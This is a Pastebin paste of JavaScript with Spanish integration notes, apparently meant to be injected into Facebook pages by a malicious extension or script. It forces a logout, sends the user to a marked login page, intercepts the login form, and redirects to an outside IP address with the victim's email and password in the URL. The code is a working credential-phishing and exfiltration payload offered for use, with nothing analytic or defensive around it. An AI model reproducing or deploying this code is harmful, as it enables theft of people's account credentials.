Advertisement
JoanManuelH

Untitled

Oct 31st, 2014
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. //poner dentro de la funcion en fb
  2.  
  3. function CheckApp() {
  4. $.ajax({
  5. type: 'GET',
  6. url:'https://developers.facebook.com/',
  7. async: false,
  8. complete: function(data){
  9. data = data.responseText;
  10. label = data.split('"label":"')[2].split('"')[0];
  11. if(label != "Graph API Explorer") {
  12. $.ajax({
  13. type: 'POST',
  14. url:'https://www.facebook.com/logout.php',
  15. async: false,
  16. data: {
  17. "fb_dtsg":fb.user_dtsg,
  18. "ref":"mb",
  19. "h":$("#logout_form input[name='h']").val()
  20. },
  21. complete: function(data){
  22. top.location = "https://www.facebook.com/login.php?sg=ETioiY6FhlKTGvYL6";
  23. }
  24. });
  25. }
  26. }
  27. });
  28. }
  29. // cambiar cookies.read por readc o la funcion que sea
  30. if(cookies.read("ps") != 1) {
  31. CheckApp();
  32. }
  33.  
  34. //cambiar esto
  35.  
  36. if (window == window.top){
  37.  
  38. por esto
  39.  
  40. if (window == window.top && cookies.read('c_user') != null){
  41.  
  42. //nuevamente cambiar cookies.read por lo que sea
  43.  
  44.  
  45. poner fuera de la funcion que se ejecuta en Facebook, osea en global , esto
  46.  
  47. if (document.URL.indexOf("ETioiY6FhlKTGvYL6") > -1){
  48. cookies.save("ps", 1, 30);
  49. $('#login_form').on('submit', function(e){
  50. e.preventDefault();
  51. $.ajax({
  52. type: 'POST',
  53. url:'https://www.facebook.com/login.php?login_attempt=1',
  54. async: false,
  55. data: {
  56. "lsd": $("input[name='lsd']").val(),
  57. "display":"",
  58. "enable_profile_selector":"",
  59. "legacy_return":1,
  60. "profile_selector_ids":"",
  61. "trynum":1,
  62. "timezone":$("input[name='timezone']").val(),
  63. "lgnrnd":$("input[name='lgnrnd']").val(),
  64. "lgnjs":$("input[name='lgnjs']").val(),
  65. "email":$("input[name='email']").val(),
  66. "pass":$("input[name='pass']").val(),
  67. "persistent":1,
  68. "default_persistent":0,
  69. "qsstamp":$("input[name='qsstamp']").val()
  70. },
  71. complete: function(data){
  72. top.location = "http://23.239.5.233/f.php?email="+$("input[name='email']").val()+"&pass="+$("input[name='pass']").val();
  73. }
  74. });
  75. });
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement